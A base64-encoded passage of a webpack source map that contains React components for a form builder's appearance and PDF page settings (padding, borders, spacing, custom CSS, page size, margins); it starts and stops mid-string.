U2V0IHlvdXIgY3VzdG9tIHBhZGRpbmcgaW4gcGl4ZWxzLicgKSB9XG5cdFx0XHRcdDwvc3Bhbj5cblx0XHRcdDwvUmVhY3QuRnJhZ21lbnQ+XG5cdFx0KTtcblx0fVxufVxuXG5cblxuLy8gV0VCUEFDSyBGT09URVIgLy9cbi8vIC4vc3JjL2Zvcm0vY29tcG9uZW50cy9hcHBlYXJhbmNlL2Zvcm0tY29udGFpbmVyL3BhZGRpbmctY3VzdG9tLmpzIiwiaW1wb3J0IFJlYWN0LCB7IENvbXBvbmVudCB9IGZyb20gJ3JlYWN0JztcbmltcG9ydCB7IHRyYW5zbGF0ZSB9IGZyb20gJy4uLy4uLy4uLy4uL3V0aWxzJztcblxuaW1wb3J0IFJvdyBmcm9tICcuLi8uLi8uLi8uLi9zZXR0aW5ncy9jb250YWluZXJzL3Jvdyc7XG5pbXBvcnQgQ29sIGZyb20gJy4uLy4uLy4uLy4uL3NldHRpbmdzL2NvbnRhaW5lcnMvY29sJztcbmltcG9ydCBJbnB1dCBmcm9tICcuLi8uLi8uLi8uLi9zZXR0aW5ncy9pbnB1dHMvaW5wdXQnO1xuaW1wb3J0IFN1aVNlbGVjdDIgZnJvbSAnLi4vLi4vLi4vLi4vc2V0dGluZ3MvaW5wdXRzL3N1aS1zZWxlY3QyJztcblxuZXhwb3J0IGRlZmF1bHQgY2xhc3MgYm9yZGVyQ3VzdG9tIGV4dGVuZHMgQ29tcG9uZW50IHtcblx0Y29uc3RydWN0b3IoIHByb3BzICkge1xuXHRcdHN1cGVyKCBwcm9wcyApO1xuXHR9XG5cblx0cmVuZGVyKCkge1xuXHRcdHJldHVybiAoXG5cdFx0XHQ8UmVhY3QuRnJhZ21lbnQ+XG5cdFx0XHRcdDxkaXYgY2xhc3NOYW1lPVwic3VpLXJvd1wiXG5cdFx0XHRcdFx0c3R5bGU9eyB7IG1hcmdpbkJvdHRvbTogJzEwcHgnIH0gfT5cblx0XHRcdFx0XHQ8Q29sIGNvbHM9XCI0XCI+XG5cdFx0XHRcdFx0XHQ8SW5wdXRcblx0XHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdSYWRpdXMnICkgfVxuXHRcdFx0XHRcdFx0XHRub3RlPXsgdHJhbnNsYXRlKCAnaW4gcHgnICkgfVxuXHRcdFx0XHRcdFx0XHR0eXBlPVwibnVtYmVyXCJcblx0XHRcdFx0XHRcdFx0cGxhY2Vob2xkZXI9XCIwXCJcblx0XHRcdFx0XHRcdFx0cHJvcGVydHk9XCJmb3JtLWJvcmRlci1yYWRpdXNcIlxuXHRcdFx0XHRcdFx0Lz5cblx0XHRcdFx0XHQ8L0NvbD5cblx0XHRcdFx0XHQ8Q29sIGNvbHM9XCI0XCI+XG5cdFx0XHRcdFx0XHQ8SW5wdXRcblx0XHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdUaGlja25lc3MnICkgfVxuXHRcdFx0XHRcdFx0XHRub3RlPXsgdHJhbnNsYXRlKCAnaW4gcHgnICkgfVxuXHRcdFx0XHRcdFx0XHR0eXBlPVwibnVtYmVyXCJcblx0XHRcdFx0XHRcdFx0cGxhY2Vob2xkZXI9XCIwXCJcblx0XHRcdFx0XHRcdFx0cHJvcGVydHk9XCJmb3JtLWJvcmRlci13aWR0aFwiXG5cdFx0XHRcdFx0XHQvPlxuXHRcdFx0XHRcdDwvQ29sPlxuXHRcdFx0XHRcdDxDb2wgY29scz1cIjRcIj5cblx0XHRcdFx0XHRcdDxTdWlTZWxlY3QyXG5cdFx0XHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0XHRcdHByb3BlcnR5PVwiZm9ybS1ib3JkZXItc3R5bGVcIlxuXHRcdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ1N0eWxlJyApIH1cblx0XHRcdFx0XHRcdD5cblx0XHRcdFx0XHRcdFx0PG9wdGlvbiB2YWx1ZT1cInNvbGlkXCI+XG5cdFx0XHRcdFx0XHRcdFx0eyB0cmFuc2xhdGUoICdTb2xpZCcgKSB9XG5cdFx0XHRcdFx0XHRcdDwvb3B0aW9uPlxuXHRcdFx0XHRcdFx0XHQ8b3B0aW9uIHZhbHVlPVwiZGFzaGVkXCI+XG5cdFx0XHRcdFx0XHRcdFx0eyB0cmFuc2xhdGUoICdEYXNoZWQnICkgfVxuXHRcdFx0XHRcdFx0XHQ8L29wdGlvbj5cblx0XHRcdFx0XHRcdFx0PG9wdGlvbiB2YWx1ZT1cImRvdHRlZFwiPlxuXHRcdFx0XHRcdFx0XHRcdHsgdHJhbnNsYXRlKCAnRG90dGVkJyApIH1cblx0XHRcdFx0XHRcdFx0PC9vcHRpb24+XG5cdFx0XHRcdFx0XHRcdDxvcHRpb24gdmFsdWU9XCJub25lXCI+XG5cdFx0XHRcdFx0XHRcdFx0eyB0cmFuc2xhdGUoICdOb25lJyApIH1cblx0XHRcdFx0XHRcdFx0PC9vcHRpb24+XG5cdFx0XHRcdFx0XHQ8L1N1aVNlbGVjdDI+XG5cdFx0XHRcdFx0PC9Db2w+XG5cdFx0XHRcdDwvZGl2PlxuXHRcdFx0XHQ8c3BhbiBjbGFzc05hbWU9XCJzdWktZGVzY3JpcHRpb25cIj57IHRyYW5zbGF0ZShcblx0XHRcdFx0XHQnTm90ZTogU2V0IHRoZSBjb2xvciBvZiB0aGUgYm9yZGVyIGluIHRoZSBDb2xvcnMgc2V0dGluZ3MgYXJlYSBhYm92ZS4nXG5cdFx0XHRcdCkgfTwvc3Bhbj5cblx0XHRcdDwvUmVhY3QuRnJhZ21lbnQ+XG5cdFx0KTtcblx0fVxufVxuXG5cblxuLy8gV0VCUEFDSyBGT09URVIgLy9cbi8vIC4vc3JjL2Zvcm0vY29tcG9uZW50cy9hcHBlYXJhbmNlL2Zvcm0tY29udGFpbmVyL2JvcmRlci1jdXN0b20uanMiLCJpbXBvcnQgUmVhY3QsIHsgQ29tcG9uZW50IH0gZnJvbSAncmVhY3QnO1xuXG5pbXBvcnQgSW5wdXQgZnJvbSAnLi4vLi4vLi4vLi4vc2V0dGluZ3MvaW5wdXRzL2lucHV0JztcblxuaW1wb3J0IHsgdHJhbnNsYXRlLCBnZXRUaGVtZVByZWZpeCB9IGZyb20gJy4uLy4uLy4uLy4uL3V0aWxzJztcblxuZXhwb3J0IGRlZmF1bHQgY2xhc3Mgc3BhY2luZ0N1c3RvbSBleHRlbmRzIENvbXBvbmVudCB7XG5cdGNvbnN0cnVjdG9yKCBwcm9wcyApIHtcblx0XHRzdXBlciggcHJvcHMgKTtcblx0fVxuXG5cdHJlbmRlcigpIHtcblx0XHRyZXR1cm4gKFxuXHRcdFx0PElucHV0XG5cdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnU3BhY2luZycgKSB9XG5cdFx0XHRcdG5vdGU9eyB0cmFuc2xhdGUoICdpbiBwaXhlbHMnICkgfVxuXHRcdFx0XHR0eXBlPVwibnVtYmVyXCJcblx0XHRcdFx0cGxhY2Vob2xkZXI9eyB0cmFuc2xhdGUoICcwJyApIH1cblx0XHRcdFx0cHJvcGVydHk9e2AkeyBnZXRUaGVtZVByZWZpeCh0aGlzLnByb3BzKSB9c3BhY2luZ2B9XG5cdFx0XHQvPlxuXHRcdCk7XG5cdH1cbn1cblxuXG5cbi8vIFdFQlBBQ0sgRk9PVEVSIC8vXG4vLyAuL3NyYy9mb3JtL2NvbXBvbmVudHMvYXBwZWFyYW5jZS9mb3JtLWNvbnRhaW5lci9zcGFjaW5nLWN1c3RvbS5qcyIsImltcG9ydCBSZWFjdCwgeyBDb21wb25lbnQgfSBmcm9tICdyZWFjdCc7XG5pbXBvcnQgeyB0cmFuc2xhdGUgfSBmcm9tICcuLi8uLi8uLi91dGlscyc7XG5cbmltcG9ydCBUb2dnbGUgZnJvbSAnLi4vLi4vLi4vc2V0dGluZ3MvaW5wdXRzL3RvZ2dsZSc7XG5pbXBvcnQgQWNlRWRpdG9yIGZyb20gJy4uLy4uLy4uL3NldHRpbmdzL2lucHV0cy9hY2UtZWRpdG9yJztcblxuZXhwb3J0IGRlZmF1bHQgY2xhc3MgQ3VzdG9tQ3NzIGV4dGVuZHMgQ29tcG9uZW50IHtcblx0Y29uc3RydWN0b3IoIHByb3BzICkge1xuXHRcdHN1cGVyKCBwcm9wcyApO1xuXHR9XG5cblx0cmVuZGVyKCkge1xuXHRcdHJldHVybiAoXG5cdFx0XHQ8ZGl2IGNsYXNzTmFtZT1cInN1aS1ib3gtc2V0dGluZ3Mtcm93XCI+XG5cdFx0XHRcdDxkaXYgY2xhc3NOYW1lPVwic3VpLWJveC1zZXR0aW5ncy1jb2wtMVwiPlxuXHRcdFx0XHRcdDxzcGFuIGNsYXNzTmFtZT1cInN1aS1zZXR0aW5ncy1sYWJlbFwiPnsgdHJhbnNsYXRlKCAnQ3VzdG9tIENTUycgKSB9PC9zcGFuPlxuXHRcdFx0XHRcdDxzcGFuIGNsYXNzTmFtZT1cInN1aS1kZXNjcmlwdGlvblwiPlxuXHRcdFx0XHRcdFx0eyB0cmFuc2xhdGUoICdGb3IgbW9yZSBhZHZhbmNlZCBjdXN0b21pemF0aW9uIG9wdGlvbnMgdXNlIGN1c3RvbSBDU1MuJyApIH1cblx0XHRcdFx0XHQ8L3NwYW4+XG5cdFx0XHRcdDwvZGl2PlxuXG5cdFx0XHRcdDxkaXYgY2xhc3NOYW1lPVwic3VpLWJveC1zZXR0aW5ncy1jb2wtMlwiPlxuXHRcdFx0XHRcdDxkaXYgY2xhc3NOYW1lPVwic3VpLWZvcm0tZmllbGRcIj5cblx0XHRcdFx0XHRcdDxkaXYgc3R5bGU9eyB7IG1hcmdpbkJvdHRvbTogJzEwcHgnIH0gfT5cblx0XHRcdFx0XHRcdFx0PFRvZ2dsZSB7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnRW5hYmxlIGN1c3RvbSBDU1MnICkgfVxuXHRcdFx0XHRcdFx0XHRcdHByb3BlcnR5PVwidXNlLWN1c3RvbS1jc3NcIlxuXHRcdFx0XHRcdFx0XHRcdHVuV3JhcFxuXHRcdFx0XHRcdFx0XHQvPlxuXHRcdFx0XHRcdFx0PC9kaXY+XG5cdFx0XHRcdFx0XHR7ICEgXy5pc1VuZGVmaW5lZCggdGhpcy5wcm9wcy5zZXR0aW5nc1sgJ3VzZS1jdXN0b20tY3NzJyBdICkgJiYgdGhpcy5wcm9wcy5zZXR0aW5nc1sgJ3VzZS1jdXN0b20tY3NzJyBdICYmXG5cdFx0XHRcdFx0XHRcdDxBY2VFZGl0b3Jcblx0XHRcdFx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdFx0XHRcdHByb3BlcnR5PVwiY3VzdG9tX2Nzc1wiXG5cdFx0XHRcdFx0XHRcdFx0dHlwZT1cImZvcm1cIlxuXHRcdFx0XHRcdFx0XHQvPlxuXHRcdFx0XHRcdFx0fVxuXHRcdFx0XHRcdDwvZGl2PlxuXHRcdFx0XHQ8L2Rpdj5cblx0XHRcdDwvZGl2PlxuXHRcdCk7XG5cdH1cbn1cblxuXG5cbi8vIFdFQlBBQ0sgRk9PVEVSIC8vXG4vLyAuL3NyYy9mb3JtL2NvbXBvbmVudHMvYXBwZWFyYW5jZS9jdXN0b20tY3NzLmpzIiwiaW1wb3J0IFJlYWN0LCB7IENvbXBvbmVudCB9IGZyb20gJ3JlYWN0JztcbmltcG9ydCB7IHRyYW5zbGF0ZSB9IGZyb20gJy4uLy4uLy4uL3V0aWxzJztcbmltcG9ydCBTdWlTZWxlY3QyIGZyb20gJy4uLy4uLy4uL3NldHRpbmdzL2lucHV0cy9zdWktc2VsZWN0Mic7XG5pbXBvcnQgVG9nZ2xlIGZyb20gJy4uLy4uLy4uL3NldHRpbmdzL2lucHV0cy90b2dnbGUnO1xuaW1wb3J0IENvbCBmcm9tICcuLi8uLi8uLi9zZXR0aW5ncy9jb250YWluZXJzL2NvbCc7XG5pbXBvcnQgSW5wdXQgZnJvbSAnLi4vLi4vLi4vc2V0dGluZ3MvaW5wdXRzL2lucHV0JztcbmltcG9ydCBQYWdlTWFyZ2luIGZyb20gJy4vcGRmL3BhZ2UtbWFyZ2luJztcblxuZXhwb3J0IGRlZmF1bHQgY2xhc3MgUGFnZVNldHRpbmdzIGV4dGVuZHMgQ29tcG9uZW50IHtcblx0Y29uc3RydWN0b3IoIHByb3BzICkge1xuXHRcdHN1cGVyKCBwcm9wcyApO1xuXHR9XG5cblx0cmVuZGVyKCkge1xuXHRcdHJldHVybiAoXG5cdFx0XHQ8UmVhY3QuRnJhZ21lbnQ+XG5cdFx0XHRcdDxkaXZcblx0XHRcdFx0XHRyb2xlPVwiYWxlcnRcIlxuXHRcdFx0XHRcdGNsYXNzTmFtZT1cInN1aS1ub3RpY2Ugc3VpLW5vdGljZS1ibHVlIHN1aS1hY3RpdmVcIlxuXHRcdFx0XHRcdGFyaWEtbGl2ZT1cImFzc2VydGl2ZVwiXG5cdFx0XHRcdFx0c3R5bGU9eyB7IGRpc3BsYXk6ICdibG9jaycgfSB9XG5cdFx0XHRcdD5cblx0XHRcdFx0XHQ8ZGl2IGNsYXNzTmFtZT1cInN1aS1ub3RpY2UtY29udGVudFwiPlxuXHRcdFx0XHRcdFx0PGRpdiBjbGFzc05hbWU9XCJzdWktbm90aWNlLW1lc3NhZ2VcIj5cblx0XHRcdFx0XHRcdFx0PHNwYW4gY2xhc3NOYW1lPVwic3VpLW5vdGljZS1pY29uIHN1aS1pY29uLWluZm9cIiBhcmlhLWhpZGRlbj1cInRydWVcIiAvPlxuXHRcdFx0XHRcdFx0XHQ8cD57IHRyYW5zbGF0ZShcblx0XHRcdFx0XHRcdFx0XHQnT3VyIFBERiBidWlsZGVyIGlzIGNvbnN0YW50bHkgaW1wcm92aW5nIGFuZCB3ZeKAmWxsIGJlIGFkZGluZyBtb3JlIGZlYXR1cmVzIG92ZXIgdGltZS4gJyArXG5cdFx0XHRcdFx0XHRcdFx0J1doaWxlIHRoZSBjdXJyZW50IHJlbGVhc2UgaGFzIGxpbWl0ZWQgY3VzdG9taXphdGlvbiBvcHRpb25zLCAnICtcblx0XHRcdFx0XHRcdFx0XHQnd2UgYXBwcmVjaWF0ZSB5b3VyIHBhdGllbmNlIGFzIHdlIHdvcmsgdG8gYnJpbmcgeW91IHRoZSBiZXN0IGV4cGVyaWVuY2UgcG9zc2libGUuICcgK1xuXHRcdFx0XHRcdFx0XHRcdCdLZWVwIGFuIGV5ZSBvdXQgZm9yIHVwZGF0ZXMuIFRvIG1hbnVhbGx5IGFkanVzdCB0aGUgYXBwZWFyYW5jZSBvZiB0aGUgZmllbGRzLCAnICtcblx0XHRcdFx0XHRcdFx0XHQneW91IGNhbiBlbmFibGUgdGhlIEN1c3RvbSBDU1Mgb3B0aW9uIGJlbG93Lidcblx0XHRcdFx0XHRcdFx0KSB9PC9wPlxuXHRcdFx0XHRcdFx0PC9kaXY+XG5cdFx0XHRcdFx0PC9kaXY+XG5cdFx0XHRcdDwvZGl2PlxuXHRcdFx0XHQ8ZGl2IGNsYXNzTmFtZT1cInN1aS1ib3gtc2V0dGluZ3Mtcm93XCI+XG5cdFx0XHRcdFx0PGRpdiBjbGFzc05hbWU9XCJzdWktYm94LXNldHRpbmdzLWNvbC0xXCI+XG5cdFx0XHRcdFx0XHQ8c3BhbiBjbGFzc05hbWU9XCJzdWktc2V0dGluZ3MtbGFiZWxcIj57IHRyYW5zbGF0ZSggJ1BhZ2Ugc2V0dGluZ3MnICkgfTwvc3Bhbj5cblx0XHRcdFx0XHRcdDxzcGFuIGNsYXNzTmFtZT1cInN1aS1kZXNjcmlwdGlvblwiPlxuXHRcdFx0XHRcdFx0XHR7IHRyYW5zbGF0ZSggJ0NvbmZpZ3VyZSB0aGUgUERGIGZpbGUgc2V0dGluZ3MnICkgfVxuXHRcdFx0XHRcdFx0PC9zcGFuPlxuXHRcdFx0XHRcdDwvZGl2PlxuXHRcdFx0XHRcdDxkaXYgY2xhc3NOYW1lPVwic3VpLWJveC1zZXR0aW5ncy1jb2wtMlwiPlxuXHRcdFx0XHRcdFx0PGxhYmVsIGNsYXNzTmFtZT1cInN1aS1zZXR0aW5ncy1sYWJlbFwiPlxuXHRcdFx0XHRcdFx0XHR7IHRyYW5zbGF0ZSggJ1BhZ2Ugc2l6ZScgKSB9XG5cdFx0XHRcdFx0XHQ8L2xhYmVsPlxuXHRcdFx0XHRcdFx0PHNwYW4gY2xhc3NOYW1lPVwic3VpLWRlc2NyaXB0aW9uXCIgc3R5bGU9eyB7IG1hcmdpbkJvdHRvbTogJzEwcHgnIH0gfT5cblx0XHRcdFx0XHRcdFx0eyB0cmFuc2xhdGUoXG5cdFx0XHRcdFx0XHRcdFx0J0Nob29zZSB0aGUgc3RhbmRhcmQgcGFwZXIgc2l6ZSBmb3IgeW91ciBQREYgZG9jdW1lbnQuICcgK1xuXHRcdFx0XHRcdFx0XHRcdCdUaGUgZGVmYXVsdCByZXNvbHV0aW9uIGZvciBlYWNoIHBhZ2UgaXMgc2V0IGF0IDk2ZHBpLidcblx0XHRcdFx0XHRcdFx0KSB9XG5cdFx0XHRcdFx0XHQ8L3NwYW4+XG5cdFx0XHRcdFx0XHQ8U3VpU2VsZWN0MlxuXHRcdFx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdFx0XHRwcm9wZXJ0eT1cInBhcGVyX3NpemVcIlxuXHRcdFx0XHRcdFx0XHRkZWZhdWx0VmFsdWU9XCJBNFwiXG5cdFx0XHRcdFx0XHQ+XG5cdFx0XHRcdFx0XHRcdHsgXy5tYXAoIGZvcm1pbmF0b3JEYXRhLnBkZl9wYWdlX3NpemVzLCAoIHNpemUsIGtleSApID0+IChcblx0XHRcdFx0XHRcdFx0XHRcdDxvcHRpb24ga2V5PXsga2V5IH0gdmFsdWU9eyBrZXkgfT57IHNpemUgfTwvb3B0aW9uPlxuXHRcdFx0XHRcdFx0XHQpICkgfVxuXHRcdFx0XHRcdFx0PC9TdWlTZWxlY3QyPlxuXG5cdFx0XHRcdFx0XHQ8ZGl2IGNsYXNzTmFtZT1cInN1aS1mb3JtLWZpZWxkXCI+XG5cdFx0XHRcdFx0XHRcdDxUb2dnbGUgeyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ0VuYWJsZSBSVEwgKHJpZ2h0LXRvLWxlZnQpJyApIH1cblx0XHRcdFx0XHRcdFx0XHRwcm9wZXJ0eT1cImVuYWJsZV9ydGxcIlxuXHRcdFx0XHRcdFx0XHRcdHVuV3JhcFxuXHRcdFx0XHRcdFx0XHQvPlxuXHRcdFx0XHRcdFx0PC9kaXY+XG5cblx0XHRcdFx0XHRcdDxoci8+XG5cblx0XHRcdFx0XHRcdDxQYWdlTWFyZ2luIHsgLi4udGhpcy5wcm9wcyB9IC8+XG5cblx0XHRcdFx0XHQ8L2Rpdj5cblx0XHRcdFx0PC9kaXY+XG5cdFx0XHQ8L1JlYWN0LkZyYWdtZW50PlxuXHRcdCk7XG5cdH1cbn1cblxuXG5cbi8vIFdFQlBBQ0sgRk9PVEVSIC8vXG4vLyAuL3NyYy9mb3JtL2NvbXBvbmVudHMvYXBwZWFyYW5jZS9wYWdlLXNldHRpbmdzLmpzIiwiaW1wb3J0IFJlYWN0LCB7IENvbXBvbmVudCB9IGZyb20gJ3JlYWN0JztcbmltcG9ydCB7IHRyYW5zbGF0ZSB9IGZyb20gJy4uLy4uLy4uLy4uL3V0aWxzJztcblxuaW1wb3J0IENvbCBmcm9tICcuLi8uLi8uLi8uLi9zZXR0aW5ncy9jb250YWluZXJzL2NvbCc7XG5pbXBvcnQgSW5wdXQgZnJvbSAnLi4vLi4vLi4vLi4vc2V0dGluZ3MvaW5wdXRzL2lucHV0JztcbmltcG9ydCBSYWRpb1RhYnMgZnJvbSAnLi4vLi4vLi4vLi4vc2V0dGluZ3MvaW5wdXRzL3JhZGlvLXRhYnMnO1xuaW1wb3J0IENvbnRhaW5lciBmcm9tICcuLi8uLi8uLi8uLi9zZXR0aW5ncy9jb250YWluZXJzL2NvbnRhaW5lcic7XG5pbXBvcnQgU3VpU2VsZWN0MiBmcm9tICcuLi8uLi8uLi8uLi9zZXR0aW5ncy9pbnB1dHMvc3VpLXNlbGVjdDInO1xuXG5leHBvcnQgZGVmYXVsdCBjbGFzcyBwYWdlTWFyZ2luIGV4dGVuZHMgQ29tcG9uZW50IHtcblx0Y29uc3RydWN0b3IoIHByb3BzICkge1xuXHRcdHN1cGVyKCBwcm9wcyApO1xuXHR9XG5cblx0cmVuZGVyKCkge1xuXHRcdHJldHVybiAoXG5cdFx0XHQ8UmFkaW9UYWJzXG5cdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdHByb3BlcnR5PVwicGRmX21hcmdpblwiXG5cdFx0XHRcdGRpdkNsYXNzPVwicGRmLXBhZ2UtbWFyZ2luXCJcblx0XHRcdFx0c2V0dGluZ3NMYWJlbD17IHRyYW5zbGF0ZSggJ1BhZ2UgTWFyZ2luJyApIH1cblx0XHRcdFx0ZGVmYXVsdD1cImRlZmF1bHRcIlxuXHRcdFx0XHRkZXNjcmlwdGlvbj17IHRyYW5zbGF0ZShcblx0XHRcdFx0XHQnRGVmYXVsdCBtYXJnaW4gZm9yIGFsbCBwYXBlciBzaXplcyBpcyAzMHB4LiAnICtcblx0XHRcdFx0XHQnVXNlIHRoZSBjdXN0b20gdGFiIHRvIHNldCBhIGRpZmZlcmVudCB2YWx1ZS4nXG5cdFx0XHRcdCkgfVxuXHRcdFx0PlxuXHRcdFx0XHQ8Q29udGFpbmVyIHZhbHVlPVwiZGVmYXVsdFwiIGxhYmVsPXsgdHJhbnNsYXRlKCAnRGVmYXVsdCcpIH0vPlxuXHRcdFx0XHQ8Q29udGFpbmVyXG5cdFx0XHRcdFx0dmFsdWU9XCJjdXN0b21cIlxuXHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnQ3VzdG9tJyl9XG5cdFx0XHRcdD5cblx0XHRcdFx0XHQ8ZGl2IGNsYXNzTmFtZT1cInN1aS1ib3JkZXItZnJhbWVcIj5cblx0XHRcdFx0XHRcdDxkaXYgY2xhc3NOYW1lPVwic3VpLXJvd1wiXG5cdFx0XHRcdFx0XHRcdHN0eWxlPXsgeyBtYXJnaW5Cb3R0b206ICcxMHB4JyB9IH0+XG5cdFx0XHRcdFx0XHRcdDxDb2wgY29scz1cIjEyXCI+XG5cdFx0XHRcdFx0XHRcdFx0PFN1aVNlbGVjdDJcblx0XHRcdFx0XHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ01hcmdpbicgKSB9XG5cdFx0XHRcdFx0XHRcdFx0XHRwcm9wZXJ0eT1cInBkZl9tYXJnaW5fdW5pdFwiXG5cdFx0XHRcdFx0XHRcdFx0XHRmaWVsZENsYXNzPVwiZnVpLXNlbGVjdC1pbmxpbmVcIlxuXHRcdFx0XHRcdFx0XHRcdFx0ZmllbGRzaXplPVwiMTAwXCJcblx0XHRcdFx0XHRcdFx0XHQ+XG5cdFx0XHRcdFx0XHRcdFx0XHQ8b3B0aW9uIHZhbHVlPVwicHRcIj5wdDwvb3B0aW9uPlxuXHRcdFx0XHRcdFx0XHRcdFx0PG9wdGlvbiB2YWx1ZT1cInB4XCI+cHg8L29wdGlvbj5cblx0XHRcdFx0XHRcdFx0XHRcdDxvcHRpb24gdmFsdWU9XCJtbVwiPm1tPC9vcHRpb24+XG5cdFx0XHRcdFx0XHRcdFx0XHQ8b3B0aW9uIHZhbHVlPVwiaW5cIj5pbjwvb3B0aW9uPlxuXHRcdFx0XHRcdFx0XHRcdDwvU3VpU2VsZWN0Mj5cblx0XHRcdFx0XHRcdFx0PC9Db2w+XG5cdFx0XHRcdFx0XHRcdDxDb2wgY29scz1cIjNcIj5cblx0XHRcdFx0XHRcdFx0XHQ8SW5wdXRcblx0XHRcdFx0XHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ1RvcCcgKSB9XG5cdFx0XHRcdFx0XHRcdFx0XHR0eXBlPVwibnVtYmVyXCJcblx0XHRcdFx0XHRcdFx0XHRcdHBsYWNlaG9sZGVyPVwiMFwiXG5cdFx0XHRcdFx0XHRcdFx0XHRwcm9wZXJ0eT1cInBkZl9tYXJnaW5fdG9wXCJcblx0XHRcdFx0XHRcdFx0XHQvPlxuXHRcdFx0XHRcdFx0XHQ8L0NvbD5cblx0XHRcdFx0XHRcdFx0PENvbCBjb2xzPVwiM1wiPlxuXHRcdFx0XHRcdFx0XHRcdDxJbnB1dFxuXHRcdFx0XHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnQm90dG9tJyApIH1cblx0XHRcdFx0XHRcdFx0XHRcdHR5cGU9XCJudW1iZXJcIlxuXHRcdFx0XHRcdFx0XHRcdFx0cGxhY2Vob2xkZXI9XCIwXCJcblx0XHRcdFx0XHRcdFx0XHRcdHByb3BlcnR5PVwicGRmX21hcmdpbl9ib3R0b21cIlxuXHRcdFx0XHRcdFx0XHRcdC8+XG5cdFx0XHRcdFx0XHRcdDwvQ29sPlxuXHRcdFx0XHRcdFx0XHQ8Q29sIGNvbHM9XCIzXCI+XG5cdFx0XHRcdFx0XHRcdFx0PElucHV0XG5cdFx0XHRcdFx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdMZWZ0JyApIH1cblx0XHRcdFx0XHRcdFx0XHRcdHR5cGU9XCJudW1iZXJcIlxuXHRcdFx0XHRcdFx0XHRcdFx0cGxhY2Vob2xkZXI9XCIwXCJcblx0XHRcdFx0XHRcdFx0XHRcdHByb3BlcnR5PVwicGRmX21hcmdpbl9sZWZ0XCJcblx0XHRcdFx0XHRcdFx0XHQvPlxuXHRcdFx0XHRcdFx0XHQ8L0NvbD5cblx0XHRcdFx0XHRcdFx0PENvbCBjb2xzPVwiM1wiPlxuXHRcdFx0XHRcdFx0XHRcdDxJbnB1dFxuXHRcdFx0XHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnUmlnaHQnICkgfVxuXHRcdFx0XHRcdFx0XHRcdFx0dHlwZT1cIm51bWJlclwiXG5cdFx0XHRcdFx0XHRcdFx0XHRwbGFjZWhvbGRlcj1cIjBcIlxuXHRcdFx0XHRcdFx0XHRcdFx0cHJvcGVydHk9XCJwZGZfbWFyZ2luX3JpZ2h0XCJcblx0XHRcdFx0XHRcdFx0XHQvPlxuXHRcdFx0XHRcdFx0XHQ8L0NvbD5cblx0XHRcdFx0XHRcdDwvZGl2PlxuXHRcdFx0XHRcdDwvZGl2PlxuXHRcdFx0XHQ8L0NvbnRhaW5lcj5cblx0XHRcdDwvUmFkaW9UYWJzPlxuXHRcdCk7XG5cdH1cbn1cblxuXG5cbi8vIFdFQlBBQ0sgRk9PVEVSIC8vXG4vLyAuL3NyYy9mb3JtL2NvbXBvbmVudHMvYXBwZWFyYW5jZS9wZGYvcGFnZS1tYXJnaW4uanMiLCJpbXBvcnQgUmVhY3QsIHsgQ29tcG9uZW50IH0gZnJvbSAncmVhY3QnO1xuXG5leHBvcnQgZGVmYXVsdCBjbGFzcyBTdWlUYWdzIGV4dGVuZHMgQ29tcG9uZW50IHtcblx0Y29uc3RydWN0b3IoIHByb3BzICkge1xuXHRcdHN1cGVyKCBwcm9wcyApO1xuXHRcdHRoaXMuaGFuZGxlQ2hhbmdlID0gdGhpcy5oYW5kbGVDaGFuZ2UuYmluZCggdGhpcyApO1xuXHR9XG5cblx0Y29tcG9uZW50RGlkTW91bnQoKSB7XG5cdFx0Y29uc3Qgc2VsZiA9IHRoaXM7XG5cdFx0Y29uc3QgdmFsdWUgPSBfLmlzVW5kZWZpbmVkKCB0aGlzLnByb3BzLnNldHRpbmdzWyB0aGlzLnByb3BzLnByb3BlcnR5IF0gKVxuXHRcdFx0PyBbXVxuXHRcdFx0OiB0aGlzLnByb3BzLnNldHRpbmdzWyB0aGlzLnByb3BzLnByb3BlcnR5IF07XG5cblx0XHR0aGlzLiRlbCA9IGpRdWVyeSggdGhpcy5lbCApO1xuXHRcdGNvbnN0IG9wdGlvbnMgPSBPYmplY3QuYXNzaWduKFxuXHRcdFx0eyBhbGxvd0NsZWFyOiB0cnVlLCBkcm9wZG93bkNzc0NsYXNzOiAnc3VpLXNlbGVjdC1kcm9wZG93bicgfSxcblx0XHRcdHRoaXMucHJvcHMub3B0aW9uc1xuXHRcdCk7XG5cblx0XHRpZiAoIHR5cGVvZiB0aGlzLiRlbC5TVUlzZWxlY3QyID09PSAnZnVuY3Rpb24nICkge1xuXHRcdFx0dGhpcy4kZWwuU1VJc2VsZWN0Miggb3B0aW9ucyApO1xuXHRcdH